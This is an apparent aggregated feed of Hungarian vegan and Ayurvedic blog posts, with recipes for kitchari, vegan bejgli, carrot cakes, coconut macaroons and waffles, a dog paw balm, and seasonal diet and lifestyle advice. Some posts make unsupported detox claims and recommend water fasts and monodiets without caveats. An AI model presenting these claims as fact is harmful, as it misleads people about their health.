mángold, spárga, újkrumpli, friss sárgarépa. új cékla, zöldborsó, spenót, sóska, petrezselyem, brokkoli, karfiol, zöldbab, káposzta, édeskömény, A gyulladások elkerülése érdekében, kezdhetsz hűsítő ételeket is fogyasztani, mint a friss korinader, uborka, avokádó, cukkini, kókusz, menta.Kiváló ilyenkor az Aloe lé is. A koriander egy fantasztikus gyógynövény. Kedvező hatásairól a blogon olvasthatsz: http://eljharmoniaban.blogspot.com/2015/04/miert-jo-koriander.html Májusban végre a szabadban érnek már gyümölcsök is... eper, áfonya, sorra jönnek a bogyósok. Élvezd a friss gyümölcsök ízét, hidratáló, és tisztító hatását. A melegítő gabonákat, most érdemes mérsékelni és helyette árpát, baszmati rizst, quinoa kezdj fogyasztani nagyobb mennyiségben. Gyönyörű májusi napokat kívánok :) szeretettel:KAti
Zabos-kakaós avokádókrémes, joghurtos áfonyatorta (vegán, cukormentes)
Hozzávalók: Az alaphoz: 10 dkg zabpehely 15 dkg kókuszolaj 3-4 ek. eritrit 1 marék olajos mag A kakaós avokádókrémhez: 2 db avokádó 3 ek. holland kakaópor 3 ek. méz vagy valamilyen szirup (agavé, rizs, datolya, juhar stb.) A joghurtos réteghez: 4 dl növényi (szója vagy kókusz alapú) joghurt (natúr) 1/2 kg áfonya (ebből a fele […]
Kitchari, a legváltozatosabb étel
2023. március 24. Élj harmóniában
A Tavaszi Tisztítás Program keretében a résztvevőket végigkísérem egy ájurvédikus csodálatos tisztítási folyamaton. Sokszor kérdezik az emberek a monodiéta nem unalmas? hogy lehet kibírni :) Kitchari, a legváltozatosabb étel a világon:) Néhány ötlet, hogyan lehet változatossá tenni a kitchari monodiétát:) A kitchari az ájurvédában a legjobb tisztító, méregtelenítő étel. Minden testalkat számára ideális, nagyon könnyen emészthető, segít felerősíteni az agnit (az emésztő tüzet), kellően tápláló, minden szükséges tápanyag megtalálható benne, segít kioldani és eltávolítani a toxinokat a szervezetből . A kitchari baszmati rizsből és mungo dhalból ( sárga, már nincs rajta a zöld külső réteg) készül sokféle fűszerrel. Mindenki számára ideális, mert a fűszerezést, főzést, recepteket úgy tudod variálni, ami a Te ájurvédikus alkatodnak, emésztésednek, ízlésednek aktuális állapotodnak a legjobban megfelel. Amikor másokat téli, tavaszi vagy őszi tiszításon vezetek át, elsőre mindenki azt kérdezi nem lesz unalmas? Sokan úgy érzik, nem bírják ki, hogy 10 napig csak kitcharit egyenek. Ha csak egyféle módon lehetne elkészíteni, végtelenül hamar ráunnánk, ez így van:) De a kitchari csodás, változatos lehetőségeket kínál a fantáziádnak és az önismeret terén is.. mi jó nekem, mi esik jól, mitől lesz jó az emésztésem, etc... A kitchari kúra monodiéta lényege, a könnyen emészthetősége és az, hogy mivel monodiéta, a szervezetnek nem kell mindig újabb típusú emésztési módszerekkel foglalkoznia. A kitcharit számos módon változatossá tudod tenni anélkül, hogy az emésztését megnehezítenéd. A blogon találsz több kitchari receptet is, de ebben a bejegyzésben néhány ötletet adok a variáláshoz. Merd figyelni a testedet és annak megfelelően kísérletezni, variálni a recepteket:) ***Változtasd meg az arányokat*** Az alap kitchari receptben a mungo dhal és baszmati rizs aránya egyenlő - ezt könnyedén tudod variálni. Bátran figyeld meg az összetevők arányának változtatásával, milyen más élményeket kaphatsz az étkezésből. *Növeld a rizs mennyiségét* Ha a gyengébb az emésztésed választhatsz dupla annyi rizst és fele annyi mungdhalt. Ez nagyon jó választás Vata alkatúaknak. *Növeld a víz mennyiségét* Így a kitchari levesesebb lesz, ami ideális lehet Vata alkatúaknak. Kapháknak nem annyira ideális. *Növeld a dhal mennyiségét* Ha megnöveled a dhal mennyiségét nehezebben emészthető lesz a kitchari, de sokkal több fehérjét fog tartalmazni. Így picit inkább hasonlít majd egy lencselveshez. Ez erős emésztésűeknek javasolt vagy a tisztítás utolsó időszakában. ***Változtasd meg a fűszerezést*** A fűszerezés megváltoztatja egy étell ízvilágát, hangulatát, jellegét, emészthetőségét és a szervezetre gyakorolt hatását. (hűt vagy fűt, szárít vagy nedvesít, növeli a lágyságot vagy az érdességet. Nem kell mindig ugyanúgy fűszerezni! Kezd el változatosabban használni a fűszereket. Ha nincs nagy rutinod indiai fűszerekkel használj kitchari keveréket vagy garam masalát. Elkészítheted olaszosan is - bazsalikom, kakukkfű, oregánó, rozmaring, petrezselyem - ezek is erősítik az emésztést és jól támogatják a szervezeted tisztulását. ***Változtasd meg az alapanyagokat*** Használj a baszmati rizs helyett quinoa-t. A quinoa nagyon könnyen emészthető, hasonlőan fő mint a rizs, gluténmentes és nagyon magas a fehérje tartalma. Mivel nem nyálkásít annyira kapha alkatúaknak ideálisabb is, mint sok rizst enni. Mivel egy más ízvilág, megváltoztatja a kitchari jellegét, ízét. ***Készítsd el külön a rizst és külön a dhalt*** Én sokkal jobban szeretem külön elkészíteni a dhalt és a rizst és külön készítem a zöldségeket. Bár kényelmes egy edénybe főzni egyszerre mindent, de mielőtt megunnád egybefőzve, próbáld ki külön elkészítve. Ez változatossá teszi a kitchar monodiétát. Készítsd el külön a rizst, előtte mosd meg, pirítsd meg szárazon, majd tedd oda forró vízzel fűszerekkel főni. Egy másik edényben főzd meg a dalt akár a kitchari fűszerekkel vagy bármilyen más fűszerezéssel. Egy harmadik edénybe tegyél oda ghít, pattogtass ki benne fűszereket, majd tedd hozzá a zöldségeket és párold meg. ***Egészítsd ki*** Tegyél tálalásnál a kitcharihoz alkat szerint kiegészítőket. Vata: lime, só, friss gyömbér, ghí, friss koriander Pitta: friss koriander, kókuszreszelék, ghí Kapha: lime, friss gyömbér, ghí, friss koriander Ha szeretnél csatlakozni a Tavaszi Tisztítás Programhoz szeretettel várlak. https://www.eljharmoniaban.hu/tisztitas #kichari #kitchari #kicsari #recept #variációk #ájurvéda #tisztítás #tisztítókúra #méregtelenítés #monodiéta
Kókuszos csokis mandulavaj (laktózmentes, gluténmentes, vegán)
2023. február 3. Zizi kalandjai
Nagyon szeretek házilag magvajat készíteni, így csak az kerül bele, amit én szeretnék. Lehet jó minőségű magvajakat kapni, amiben tényleg csak a mag van és nincs hozzáadva olaj, cukor, só, de mindig rájövök, hogy házilag ledarálni olcsóbb… pláne, ha sikerül jó áron magot vennem. Készítettem már kesudióvajat, földimogyoróvajat és napraforgómagvajat. A titok nyilván az, hogy legyen egy jó... Source
Diós bejgli, mákos bejgli (vegán)
Ajándékozz karácsonyra főzőtanfolyamot!
Az akció részleteiért KATT IDE
Leszögezhetjük, hogy nincs karácsony bejgli nélkül. :)
Na, de milyen legyen az a bejgli? Ki lehet találni nagyon kreatív, új fajtákat, lehet a modern bejgli marcipános, meggyes vagy sütőtökös.. De nekem akkor is a legigazibb a hagyományos, vagyis a és természetesen a !
Az én bejglimre egyszer egy abszolút hagyományos konyharajongó azt találta mondani, hogy ez bizony szakasztott olyan, mint amit 40 éve az ő drága anyukája szokott volt csinálni. Azt hiszem, erre büszke vagyok! :)
Ami fontos, hogy az alapanyagok közül legyen minden szobahőmérsékletű .
Arra is figyelj, hogy a töltelék hozzávalói két közepes rúdhoz méretezettek. Ha mindkét ízből csinálsz, akkor a tészta mennyiségét duplázd meg.
Hozzávalók két kis rúdhoz:
TÉSzta
- 300 g liszt
- 40 g kókuszzsír
- 1,5 dl tej
- 40 g cukor
- 1 csomag szárított élesztő
- 2 csipet só
Diótöltelék
- 110 g dió
- 75 g porcukor
- 15 g búzadara
- 0,4 dl tej
- 3/4 csomag vaníliás cukor
- 35 g mazsola
- 3/4 citrom héja
- 1/4 citrom leve
Máktöltelék
- 110 g mák
- 75 g porcukor
- 0,8 dl tej
- 15 g búzadara
- 3/4 csomag vaníliás cukor
- 35 g mazsola
- 3/4 citrom héja
- 1/4 citrom leve
- mk szegfűszeg és fahéjrúd
Elkészítés
- 1,5 dl vízben főzd fel a szegfűszeget és fahéjrudat. Ebbe áztasd be a mazsolát.
- Az élesztőt futtasd fel egy kis cukorral és tejjel.
- A kókuszzsírral és a többi anyaggal dolgozd ki a tésztát, és kelesszük másfél órát. Én korábban keverőlapátos robotgépet használtam, de mióta elromlott, a kenyérsütő gépem dagasztó funkcióját használom. :)
- Amíg elkészül a tészta, készítsd el a tölteléket: ha szükséges, daráld meg a mákot vagy diót, majd keverd össze a többi hozzávalóval. A mákos töltelékbe kicsit több cukor és tej szükséges.
- A megkelt tésztát válaszd ketté, majd egy sodrófával nyújtsd ki vékonyra (max. fél cm vastagra). A tölteléket oszlasd el rajta egyenletesen, és tekerd fel a bejglit. Ezután tedd a tepsibe, és hideg helyen keleszd még fél órát.
- A tetejét kend meg szójatejjel, majd forróra előmelegített, és utána lehalkított sütőben süsd fél órán keresztül.
Elkészítési idő: kb. 60 perc + kelesztés + sütés
Jó étvágyat!
Ez egy vegán recept volt. :)
Hasonló recepteket ITT találsz még.
Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :)
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat:
Kezdő Vegán
Haladó vegán (Superfood)
Görög vegán
Karácsonyi akció részleteiért KATT IDE
The post Diós bejgli, mákos bejgli (vegán) first appeared on Kertkonyha.
Mancsápoló kutyáknak
A hidegben a kutyák tappancsa könnyedén kiszárad, berepedezhet, ilyenkor jól jön egy hidratáló mancsápoló a háznál. Rajongok a természetes alapanyagból készült kencékért, gyakran tevékenykedem a boszorkánykonyhámban, így hát kézenfekvő volt, hogy mancsápolót sem a boltból fogok beszerezni. Hozzávalók: 3 ek olívaolaj 3 ek kókuszolaj 1 ek kakaóvaj (elhagyható) 1 tk méhviasz 1 tk körömvirágolaj (elhagyható) fél tk E-vitamin (elhagyható) Óvatosan kell dolgoznunk a hozzávalókkal, nem szabad magas hőfokon olvasztani. Vagy vízfürdőben tesszük emiatt, vagy egészen kislángon melegítjük. Én az utóbbit választottam. Egy kisebb edénybe tettem az olívaolajat, a kókuszolajat, a kakaóvajat és a méhviaszt. Nagyon pici lángon kezdtem melegíteni, és amikor láttam, hogy már olvad benne a szilárd állapotú zsiradék, akkor le is vettem a tűzről és addig kevergettem, amíg minden felolvadt. Ekkor adtam hozzá a körömvirágolajat és az E-vitamint. Az egészet alaposan összekevertem, és kis üvegtégelybe öntöttem. Mancsápoló kutyáknak The post Mancsápoló kutyáknak appeared first on Vegavarazs.
Indiai cukkini subji (szabdzsi)
2022. szeptember 6. Élj harmóniában
A cukkini szuper zöldség, nagy a víztartalma, könnyen emészthető és gyorsan elkészíthető. A cukkini hatásairól egy korábbi bejegyzésben már írtam, itt olvashatod. A blogon sokféle cukkinis recepetet tettem már ki, több vegyesen tartalamzott cukkinit más zöldségekkel. Ez a recept most csak cukkinit tartalmaz és nagyon gyorsan elkészíthető. A receptet könnyen variálhatod - adhatsz hozzá tejszínt, kókusztejet vagy éppen paradicsomot. Cukkini subji (szabdzsi) Hozzávalók: 2 közepes cukkini kockákra vágva (kb. 1,5 csésze). 1db 3 cm-es gyömbér apróra vágva 2 kis chili vagy chili por 2 ek. kókuszolaj vagy ghí 1/2 tk római kömény 1/4 tk asafoetida (apróra vágott hagymával helyettesítheted) 1/4 tk kurkuma 1/2 tk koriander 1/2 tk garam masala 1/4 tk só citromlé koriander levél Vegyszermentes (bio) alapanyagokat használj! A cukkinit mosd meg és vágd fel kockákra. Egy serpenyőben melegítsd fel a kókuszolajat és tedd bele a római köményt, hogy piruljon majd tedd hozzá a gyömbért, a chilit, asafoetidát vagy hagymát és párold fél percig, vagy amíg a hagyma megfő. Tedd az edénybe a cukkinit, kurkumát, koriandert, garam masalát és a sót, majd keverd össze és lassú tűzön főzd félig lefedve amíg a cukkini megpuhul. A cukkini általában sok vizet ereszt, ezért nem kell hozzá víz. Ha esetleg szükséges akkor is csak picit tegyél hozzá, hogy ne égjen le az alja. A végén egy csipet citromlevet adhatsz hozzá és koriander leveleket. Rizzsel, kuszkusszal, polentával, quinoával vagy chapati kenyérrel tálalhatod. Jó étvágyat kívánok:) szeretettel: Kati
Réééépatorta
2022. április 14. Mindennapi ételeink
Én egész évben megenném ezt a tortát, de húsvét táján szokták többen is sütni, ezért készült nálunk is, VegaKata receptje alapján. Vagyis ez egy az egyben az ő receptje, nem kell rajta semmit sem változtatni. Puha, ízletes. Hozzávalók:0,5 dl csicseriborsó konzerv leve behűtve 125 g kókuszolaj 28 g negyedannyi stevia-eritrit csipet só 280 g sárgarépa reszelve 1 kisebb narancs héja reszelve 1 tk. fahéj 100 g darált mandula (jobb ha héj nélküli) - nálam ez most dió volt 125 g tönkölyliszt (fele teljes őrlésű, fele sima) 1,5 tk. sütőpor 1/2 tk. szódabikarbóna Máz: 2 doboz dr. Oetker vega tejföl 1/2 -1ek. negyedannyi stevia-eritrit vanília kb. 1 tk. citromlé 1/2 citrom reszelt héja Elkészítés: A csicseriborsó konzerv levét behűtjük, majd habbá verjük, mint a tojásfehérjét. Egy tálban összekeverjük a száraz hozzávalókat, majd hozzákeverjük az olvasztott kókuszolajat, a vékonyra reszelt sárgarépát, narancshéjat és az aquafabát (habbá vert csicseriborsólé neve). Simára keverjük. Sűrű masszát kell kapnunk. 16-18cm átmérőjű, olajozott, lisztezett kapcsos tortaformába tesszük és 180 fokra sütőben aranybarnára sütjük. Tűpróbával ellenőrizzük kb. 30-40 perc múlva. A sütőből kivéve rácson hagyjuk teljesen kihűlni. A mázhoz összekeverjük a hozzávalókat, majd rákenjük a kihűlt tésztára és 10 percre fagyasztóba tesszük, majd tetszőlegesen díszítjük. Én most "megtapasztottam" jó sok (kb. 15 dkg dióból készült) diómorzsával: a dió harmadát rusztikusan felvágjuk, a másik részét ledaráljuk. Száraz serpenyőben összesütjük, majd adunk hozzá 2 ek. olajat. Összeforgatjuk és mehet is a tortánk díszítésére.
Tavasz, új kezdet, újjászületés
2022. március 15. Élj harmóniában
Újra beköszönt a tavasz, ami a téli visszavonulás után a megújulás, újjászületés az új kezdetek ideje. Idén a tél nem volt túl hideg, szerencsére nagyon sok volt a napsütéses órák száma és úgy tűnik a tavasz is korábban kezdődött. Már hosszú hetek óta hallom az énekesmadarak tavaszi csivitelését, a fákon bimbók kezdenek nyílni, az illatok egyre intenzívebbek és február utolsó napjaiban már nem csak hóvirágot, de ibolyát is láttam. Ahogy minden nap korábban kel a nap és később megy le, ahogy melegszik a levegő, ahogy látom éledni a természetet, minden porcikámmal érzem a tavasz friss megújító energiáit. Az időjárás egyre kedvezőbb, így a téli bezártság után minél több időt tudsz kint tölteni a szabadban, sétálni, kirándulni. Ez segít, hogy kapcsolatba kerülj a természettel és önmagaddal. A természetben is láthatod, ahogy az idő melegszik úgy emelkedik a talajvíz, hogy a talaj megtisztulhasson a fölös salakanyagoktól. Az állatok is levetik téli bundájukat és tavasszal az emberi szervezet is megújul. A szervezetünk is próbál ilyenkor a felgyülemlett salakanyagoktól megtisztulni. A természetben minden körforgásban van és ahogy a tél nem kedvez a vetésnek, de ideális a visszavonulásra, a tavasz a megújulás ideje. Ilyenkor az emberi test szövetei is képesek megújulni, megfiatalodni. Az ájruvéda egyik lényege, hogy igazodjunk a természet ritmusához és támogassuk szervezetünket a megújulás folyamatában. A tavasz a legjobb időszak arra, hogy kitisztítsd a régit, teret adj az újnak, a jövőnek, a növekedésnek, fejlődésnek. Ha kész vagy elengedni, megválni a régitől és elég kíváncsi és bátor befogadni az újat akkor részed lesz a megújulásban, újjászületésben. Igazodj Te is a természethez és használd ki a tavaszi időszak nyújtotta lehetőségeket. Táplálkozás A téli táplálkozás fontos elem volt, hogy tápláló ételeket egyél, amik segítenek a testet szigetelni a hideg ellen. Tavasszal viszont válts könnyű, egyszerű, tiszta minőségű étrendre. A tavaszi étrend lényege a télen lerakódott salakanyagoktól megszabadulni, csökkenti a nedvességet, nyálkát a szervezetben. Természetes ha tapasztalod, ahogy beköszönt a melegebb időjárás csökken a vágyad a nehezebb, tartalmas ételek iránt és inkább könnyedebb ételekre vágysz, elképzelhető, hogy néhány napig étvágyad sem lesz. Esetleg elkezded kívánni a - zöldségeket, friss salátákat, gyümölcsöket. Annak érdekében, hogy ne kelljen betegségektől, nehézségérzettől, fáradtságtól, nyálka felhalmozódástól szenvedned - nátha, influenza, allergia - a tavaszi időszakban, csökkentsd a szervezetedben a nedvességet, válts szárító és melegítő étrendre. Néhány tanács, a tavaszi étrendhez - Tavasszal érdemes több csípős, keserű és fanyar ízt vinni a táplálkozásodba. - Próbáld ki a húsmentes étrendet - a hús nagyon elnehezíti a tested. A fehérjét kiválóan pótolhatod gabonafélék és hüvelyesek kombinációjával. (pl lencsefőzelék zsemlével, falafel vagy hummusz pita kenyérrel, babpüré kukorica tortillával, mungdhal baszmati rizzsel, csicseriborsó kuszkuszzal) - Ajánlott gabonafélék és hüvelyesek: baszmati rizs, köles, hajdina, kukorica, árpa, quinia, zab, mungóbab, csicseriborsó, vörös bab, lencse, adzuki bab, fekete bab. - Tavaszra ajánlottak: karfiol, brokkoli, káposzta, saláta, retek, spenót, spárga, borsó, sárgarépa, zeller, zöldbab, cékla, cikória, eper, áfonya, alma. - A zsíros dióféléket kerüld, de érdemes 1-2 ek. napraforgómagot és tökmagot pirítva bevezetni az étrendedbe. - A nap folyamán fogyassz meleg vagy langyos vizet, gyógyteákat és kerülj minden hideg folyadékot. - Az ételeket emésztést segítő, melegítő, nyálka mentesítő fűszerekkel készítsd el gyömbért, fekete borsot, fahéjat, kurkuma, szegfűszeg, kardamom, hosszúbors. - Ha reggel nem vagy éhes, hagyd ki a reggelit. Ha éhes vagy ne egyél nehezet. Kiváló a zabkása, rizskása. - Ebédre és vacsorára főzz gabonaféléket, párolt zöldségeket és hüvelyeseket. - Próbálj minél több frissen készült ételt fogyasztani. Van néhány olyan táplálkozási szokás, amit érdemes kerülni, mert nyálka felhalmozódáshoz vezet - Kerüld az édességeket, félkész ételeket, gyorsételeket, fagyasztott dolgokat, másnapos ételeket, húst, kenyereket, tejterméket, dióféléket, zsíros ételeket, olajba kisült fogásokat és a hidegen fogyasztható dolgokat (fagylalt, joghurt, etc.) - Érdemes kiiktatni az étrendből a nehéz vagy vizes zöldségeket - avokádó, paradicsom, uborka, cukkini, tökfélék. - Ne nassolj étkezések között - Ne edd túl magad. - Minimalizáld az édes, savanyú és sós ízeket. - Érdemes lecsökkenteni a nehezebben emészthető, vizes és a savanyú gyümölcsök fogyasztását, a narancs, banán, kókusz, dinnye, ananász, füge, datolya. - Kevesebb zsiradékot használj a főzéshez. A főzéshez a ghí (tisztított vaj) a legkiválóbb. Esetleg fontold meg egy kis tavaszi méregtelenítő, tisztító kúra elvégzését. Tarthatsz húsvéti böjtöt is vagy lehet akár léböjt - pl egész nap csak forralt vizet iszol, vagy kiegészíted gyümölcslével, zöldséglével vagy kiváló a monodiéta. Jómagam az ájruvédikus kitchari kúrát tartom a legjobb tisztítókúrának. A méregtelenítésről a blogomon részletesen olvashatsz. Életmód Érdemes az életmódbeli szokásaidat is a tavasz hangulatához igazítani. Alakíts ki egy napi rutint - Ahogy a nap korábban kel, kezdj el Te is kicsit korábban kelni. Legkésőbb 6- 7 óráig kelj fel. - Ébredés után tisztálkodj - A tisztálkodás után végezz könnyed testmozgást. Akár csak mozgasd át az ízületeket, izmokat - nyak, váll, karok, gerinc, csípő, térd, boka - és végezz néhány nyújtózást, testgyakorlatot. Jógaoktatóként leginkább a jógagyakorlatokat preferálom, de a tai chi vagy bármilyen akár könnyedebb torna is jó lehet. - Végezz légzőgyakorlatokat, segítik a méregtelenítést, energetizálnak és helyreállítják a test-lélek-elme harmóniáját. - Nappal ne feküdj le aludni, nyálkafelhalmozódást és nehézségérzetet okoz a testedben és az elmédben. Az is így hat ha későn kelsz pl. reggel 9 kor ébredsz. - Este próbálj 22:00-ig lefeküdni aludni, de legkésőbb 23:00-ig kerülj ágyba. Az éjfél előtti lefekvéssel támogatod a tested méregtelenítő folyamatait, kipihentebb lesz az idegrendszered és szépülsz. Végezz rendszeres testmozgást - A mozgás aktiválja a keringésed, segít a méregtelenítésben, felpörget, hőt termel, könnyedséget hoz. - Ha sok fölös kilót szedtél fel a tél során, egy kicsit intenzívebb, megerőltetőbb mozgással könnyen megszabadulhatsz tőlük. Ha nincsenek fölös kilóid ne erőltesd túl magad. - Nagyon jók a séta, túrázás biciklizés, kocogás, úszás, jóga, thai chi. - A testmozgás legjobb időzítése reggel 6 és délelőtt 10:00 között vagy 18:00-20:00 között. - Ha jógát gyakorolsz részesítsd előnyben a nagyobb izommunkát kívánó pózokat és a mellkasnyitó gyakorlatokat. Néhány példa: napüdvözlet, hősi póz 1. és 2. , trikónászana, kobra, íj, teve, gerinccsavarások. A gyakorlás végén végezz relaxációt. A tavaszi frissességet használd ki az élet más területein is. A téli begubózás után kezdj el programokat szervezni, többet eljárni otthonról. Sétálj, kirándulj, menj színházba, táncolni, koncertekre. A tavasz jó időszak a szocializálódásra is, új kapcsolatok kialakítására, régi kapcsolatok újjáélesztésére. Találkozz a barátaiddal. Próbálj ki valami új dolgot, tanulj valamit újat, kezdj bele valami újba. Gondold át az életed, tűzz ki új célokat, akár az életmódoddal, táplálkozásoddal, egészségeddel, karriereddel, családoddal, önismerettel, spiritualitással, személyiségfejlesztéssel kapcsolatban. Selejtezz! Szabadulj meg a régitől, hogy helyet csinálj az újnak. Nézd át mely dolgok, amiket nem használsz, nincs rá szükséged, illetve mik azok a dolgok, amik kifejezetten rossz érzéseket, emlékeket hoznak elő. Az ilyen dolgoktól ajánlatod megválni. Vedd sorra tudatosan az emberi kapcsolataidat is. Amik úgy érzed nem válnak javadra, viszik az energiáidat, rossz érzéseket okoznak esetleg gondold át a felszámolásukat, vagy az érintkezési felületek csökkentését. Csinálj tavaszi nagytakarítást és esetleg újítsd meg kicsit a lakást. Festés, átrendezés, textílfestés, hímzés, rajzok, matricák, néhány új dolog - díszpárna , fogantyú, szappantartó, etc. - megannyi kreatív megoldással tudod feldobni kicsit az otthonodat. Változtass az öltözködéseden. Már hetekkel ezelőtt mondtam a férjemnek elég a téli ruhatáramból, és elővettem a színesebb ruháimat. Öltözz élénk színekbe, sárga, piros, narancs, pink, kezdj lágyabb anyagokat hordani. Csinálj időt, teret, helyet a lelki (spiritulis) dolgoknak. Minden nap szánj időt a befelé figyelésre, a saját érzéseid, gondolatid tudatosítására, imádkozásra. Adj hálát mindazért, amid van, amit elértél. Olvass szentírást ( Bhagavad Gíta, Biblia, etc). A tavasz a szabadságról és az örömről is szól. A legtöbb ember ma a saját maga emelete falak között él, saját börtönében. A társadalomban megannyi szív és érrendszeri betegség, mert az emberek nem mernek a szívük szerint élni. Nem szánnak időt a befelé figyelésre, a legtöbben nem is tudják szívük szerint mit csinálnának. Itt a lehetőség, hogy változtass, többet figyelj befelé. Akár írj listát arról mi az, amit szívesen csinálsz, ami neked örömet okoz és tudatosan a munka, szórakozás, pihenés arányát hozd egyensúlyba. Csinálj sok olyan dolgot, ami neked örömet okoz, ami a szíved szerinti. Ez egy ideális időszak arra, hogy merj önmagad lenni, merj a szívedre hallgatni. A tavasz megújító ereje nem csak testi szinten mutatkozik meg, de fontos ilyekor az életünk minden olyan területét szemügyre venni, ahol elakadásaink vannak, beleragadtunk a régibe, akár régi élethelyzetekbe, berögzült viselkedési mintákba, nem tudunk továbblépni, blokkok vannak. Érdemes átgondolni ezeket a kérdéseket és tudatosan megújulni ezen területeken is. A tavasz ideális a szerelemre, a párkapcsolatunk elmélyítésére, a szexuális aktivitás fokozására is. Ha még nincs párod, tavasszal a természet rezgései, a hormonok működése, minden támogatja a szerelem megérkezését az életedbe. A tavasz a legcsodásabb évszak, a maga friss, megújító, növekedést hozó erejével. Ahogy a természetben is minden kizöldül, virágba borul, úgy tudod az életedet Te is virágba borítani, ha megragadod a pillanatot, a tavasz adta lehetőségeket. Fantasztikus megújulást és sok örömet kívánok Neked! szeretettel Vitai Katiwww.eljharmonaiban.huhttp://eljharmoniaban.blogspot.com/
Kókuszcsók
Gluténmentes és vegán
Kb. abbahagyhatatlan ez a kókuszcsók, szóval kis mennyiségnek neki se állj. Én eleve előnyben voltam, mert rengeteg kókuszreszelékem maradt karácsonyról (vagy egy kilóról beszélünk), miután teljesen elszámoltam a mennyiséget a bevásárlásnál. Ööö.. ez még a legjobb házban is előfordul.. :D
Nagyon jókor jött ez a recept most az ovis farsangra. Jó nagy adagot küldtem a gyerekeknek, és nem jött belőle vissza egy darab se! ;)
A végeredmény megfelelően édes, picit sós, tartalmas és könnyű egyszerre. Én nem tettem hozzá plusz cukrot, mert szerintem a kókusz magában is elég édes, a csokiról nem is beszélve. De ha te édesszájúbb vagy, akkor 1-2 evőkanál porcukorral állítsd be az ízét.
Hozzávalók egy nagy tepsihez
- 250 g kókuszreszerlék
- 250 g kókuszkrém (kókusztejszín)
- 1 nagy alma hámozva, lereszelve
- 2-3 csipet só
- 1 csapott mk szódabikarbóna
- 20 g vaníliás cukor
- 90 g étcsokoládé
- 2 kk étolaj
- A kókuszreszeléket keverd össze a többi hozzávalóval (a csoki és az olaj kivételével). Gyönyörűen ragadós masszát kell, hogy kapj, olyat, ami egyben marad, ha az edény falához nyomod. Tapasztalatból mondom, hogy a forgalomban lévő kókuszreszelékek nagyon eltérő minőségűek. Nem véletlenül sokkal olcsóbb az egyik és kicsit drágább a másik. Előfordulhat, hogy a legolcsóbb fajtából kivonták a kókuszzsírt, amitől nehezebben áll össze a masszád. Ilyenkor egy kis vízzel vagy még inkább olvasztott kókuszolajjal tudsz segíteni a dolgon.
- Hagyd állni pár percet, addig melegítsd elő a sütőt és bélelj ki egy tepsit sütőpapírral. Fagyis kanállal (vagy bármilyen mélyebb, öblös kanállal) formázz belőle félgömböket, és helyezd a tepsibe őket.
- 200 fokon süsd 20 percet kb, amíg szép barna nem lesz a teteje.
- Ha kihűlt, csepegtesd meg a csokoládéval. Ehhez tedd egy pohárba az összetört csokit, locsold meg 5 kk vízzel és az olajjal, majd melegítsd össze őket, lehetőleg forró vizes tálban. Húzd egymáshoz közel a kókuszcsókokat, és egy kanállal rázd rá a csokit.
A hűtőben tárolást szereti. :)
Jó étvágyat!
Elkészítési idő: 25 perc
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat!
Vegán Szaloncukor-készítő
Kezdő Vegán
Haladó vegán (Superfood)
Növényi tejtermékek
Görög vegán
Vegán MUST HAVE – a kötelező alapcsomag
Ez egy vegán recept volt. :)
Ha itt feliratkozol , a legújabbakat mindig frissen kapod majd a postaládádba.
The post Kókuszcsók first appeared on Kertkonyha.
Diós répatorta
2022. február 1. Mindennapi ételeink
Egyik kedvenc téli süteményem. Hozzávalók:2 bögre liszt (fele teljesőrlésű, fele finomliszt)2 csésze reszelt sárgarépa1 bögre apróra darabolt dió, mandula, kesudió - vegyesen 1/2 bögre kókuszolaj 1 reszelt alma1/2-1 bögre barnacukor (ízlés szerint)2-2 tk. fahéj, gyömbér(por)3 tk. sütőpor1 tk. szódabikarbónaElkészítés:Külön-külön kikeverjük a száraz és a nedves összetevőket. Majd egybevegyítjük, alaposan összekeverjük és olajozott, lisztezett tesiben 180 fokon kb. 40 perc alatt kisütjük. A recept Zizitől származik.
Gluténmentes, vegán gofri
2022. január 25. Mindennapi ételeink
Aki hűséges olvasóm, biztosan emlékszik, hogy a 2020-as covid betegségem több más mellett hisztamin intoleranciát is kialakított nálam, így nem csak vegánul, hanem egy ideig gluténmentesen is étkeztem. Ekkor született meg ez a gofri recept, amely ünnepi lakomának számított a szigorú egészségügyi diéta ideje alatt. Hozzávalók: 1 csésze zabpehely (gluténmentes)1 csésze barna rizsliszt2 tk, sütőpor2 ek. őrölt lenmag 1 csésze zabtej 1 csésze zabkrém (pl. Aldiban kapható, de interneten is rendelhető)2 ek. növényi olaj opcionális ízesítők (citromhéj, fahéj, alternatív cukorhelyettesítők, vanília)Elkészítés:A száraz és a nedves alapanyagokat külön-külön összekeverjük, majd egybeöntve csomómentesre botmixerezzük. Gofri sütőben kisütjük. Gyerekek vaníliapudinggal, vegán nutellával, házi lekvárokkal szeretik. De készítettem már hozzá kókuszkrémet, vagy bármilyen vegán mascarpone-s, vegán tejszínhabos gyümölcskrémet is.
Kókuszos kölesgombóc
2022. január 6. Mindennapi ételeink
Nagyon finom, amolyan újévi detox-csemege ?Hozzávalók :20 dkg köles 4 dl víz 3 dl sűrű kókusztej (konzerv) 1 citrom leve és a héja 6 dkg kukoricadara 10 dkg barnacukor 10 dkg kókuszreszelék Elkészítés: A kölest 1 órára beáztatjuk, majd leszűrjük. Ezután egy edénybe öntjük a vizet és kókusztejet, hozzáadjuk a kölest, ízesítjük és forrásig főzzük, ekkor hozzáadjuk a kukoricadarát és 2 dkg kókuszt. Addig főzzük, amíg teljesen megfő. Ezután egy vizezett tálcára téve hagyjuk kihűlni, majd golyókat formálunk belőle és kókuszba forgatjuk.
Babos szupergyors tagliatelle
2021. december 28. Mindennapi ételeink
